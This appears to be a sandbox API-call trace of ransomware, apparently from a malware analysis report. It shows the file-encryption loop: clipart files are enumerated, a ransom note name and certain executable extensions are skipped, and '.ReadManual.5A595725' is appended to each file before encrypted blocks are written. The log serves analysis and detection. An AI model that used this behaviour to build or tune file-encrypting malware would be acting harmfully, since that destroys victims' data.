dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x938) returned 0x2f0000 [0270.515] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.515] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39118414951) returned 1 [0270.515] CloseHandle (hObject=0x184) returned 1 [0270.515] SetSecurityInfo () returned 0x57 [0270.516] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.516] CloseHandle (hObject=0x194) returned 1 [0270.516] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf33f00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bf33f00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00512_.WMF", cAlternateFileName="")) returned 1 [0270.516] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00512_.WMF" | out: lpString1="NA00512_.WMF") returned="NA00512_.WMF" [0270.516] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.516] StrStrIW (lpFirst="NA00512_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.516] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.516] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.516] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.516] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.516] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.516] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.516] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.516] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.516] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.516] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.516] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.516] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.516] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.516] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.516] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" [0270.516] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.ReadManual.5A595725" [0270.516] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.ReadManual.5A595725") returned 87 [0270.516] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39118511436) returned 1 [0270.516] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf")) returned 0x20 [0270.517] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.517] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2912) returned 1 [0270.517] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb60, lpName=0x0) returned 0x184 [0270.517] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.518] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.518] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.519] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.519] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb60) returned 0x2f0000 [0270.519] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.519] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39118818043) returned 1 [0270.519] CloseHandle (hObject=0x184) returned 1 [0270.520] SetSecurityInfo () returned 0x57 [0270.520] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.520] CloseHandle (hObject=0x194) returned 1 [0270.520] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9b2c00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc9b2c00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x6efa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00523_.WMF", cAlternateFileName="")) returned 1 [0270.520] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00523_.WMF" | out: lpString1="NA00523_.WMF") returned="NA00523_.WMF" [0270.520] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.520] StrStrIW (lpFirst="NA00523_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.520] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.520] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.520] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.520] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.520] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.520] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.520] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.520] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.520] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.520] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.520] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.520] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.520] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.520] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.520] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" [0270.520] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.ReadManual.5A595725" [0270.520] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.ReadManual.5A595725") returned 87 [0270.520] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39118910002) returned 1 [0270.520] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf")) returned 0x20 [0270.521] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.521] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=28410) returned 1 [0270.521] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6efa, lpName=0x0) returned 0x184 [0270.521] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.522] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.522] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.523] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.524] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6efa) returned 0x2f0000 [0270.524] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.524] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39119298364) returned 1 [0270.524] CloseHandle (hObject=0x184) returned 1 [0270.524] SetSecurityInfo () returned 0x57 [0270.524] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.524] CloseHandle (hObject=0x194) returned 1 [0270.525] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a54b00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6a54b00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x5880, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00525_.WMF", cAlternateFileName="")) returned 1 [0270.525] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00525_.WMF" | out: lpString1="NA00525_.WMF") returned="NA00525_.WMF" [0270.525] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.525] StrStrIW (lpFirst="NA00525_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.525] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.525] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.525] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.525] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.525] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.525] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.525] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.525] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.525] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.525] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.525] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.525] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.525] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.525] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.525] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" [0270.525] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.ReadManual.5A595725" [0270.525] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.ReadManual.5A595725") returned 87 [0270.525] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39119407265) returned 1 [0270.525] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf")) returned 0x20 [0270.526] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.527] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=22656) returned 1 [0270.527] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5880, lpName=0x0) returned 0x184 [0270.527] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.527] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.527] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.529] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.529] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5880) returned 0x2f0000 [0270.530] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.530] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39120066045) returned 1 [0270.532] CloseHandle (hObject=0x184) returned 1 [0270.532] SetSecurityInfo () returned 0x57 [0270.532] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.532] CloseHandle (hObject=0x194) returned 1 [0270.532] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35fc4a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35fc4a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x477c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00530_.WMF", cAlternateFileName="")) returned 1 [0270.533] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00530_.WMF" | out: lpString1="NA00530_.WMF") returned="NA00530_.WMF" [0270.533] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.533] StrStrIW (lpFirst="NA00530_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.533] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.533] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.533] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.533] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.533] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.533] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.533] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.533] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.533] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.533] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.533] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.533] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.533] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.533] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.533] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" [0270.533] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.ReadManual.5A595725" [0270.533] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.ReadManual.5A595725") returned 87 [0270.534] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39120228994) returned 1 [0270.534] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf")) returned 0x20 [0270.534] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.534] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18300) returned 1 [0270.534] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x477c, lpName=0x0) returned 0x184 [0270.534] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.535] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.535] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.537] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.537] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x477c) returned 0x2f0000 [0270.537] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.537] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39120608524) returned 1 [0270.537] CloseHandle (hObject=0x184) returned 1 [0270.537] SetSecurityInfo () returned 0x57 [0270.538] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.538] CloseHandle (hObject=0x194) returned 1 [0270.538] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x530, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00532_.WMF", cAlternateFileName="")) returned 1 [0270.538] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00532_.WMF" | out: lpString1="NA00532_.WMF") returned="NA00532_.WMF" [0270.538] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.538] StrStrIW (lpFirst="NA00532_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.538] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.538] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.538] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.538] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.538] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.538] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.538] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.538] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.538] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.538] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.538] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.538] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.538] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.538] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.538] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" [0270.538] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.ReadManual.5A595725" [0270.538] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.ReadManual.5A595725") returned 87 [0270.538] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39120708192) returned 1 [0270.538] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf")) returned 0x20 [0270.539] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.539] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1328) returned 1 [0270.539] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x530, lpName=0x0) returned 0x184 [0270.539] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.540] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.540] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.541] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.542] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x530) returned 0x2f0000 [0270.542] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.542] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39121055408) returned 1 [0270.542] CloseHandle (hObject=0x184) returned 1 [0270.542] SetSecurityInfo () returned 0x57 [0270.542] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.542] CloseHandle (hObject=0x194) returned 1 [0270.542] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34cb1d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34cb1d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7d14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00538_.WMF", cAlternateFileName="")) returned 1 [0270.542] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00538_.WMF" | out: lpString1="NA00538_.WMF") returned="NA00538_.WMF" [0270.542] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.542] StrStrIW (lpFirst="NA00538_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.542] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.542] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.542] StrCmpIW (psz1="WMF", psz2="sys") 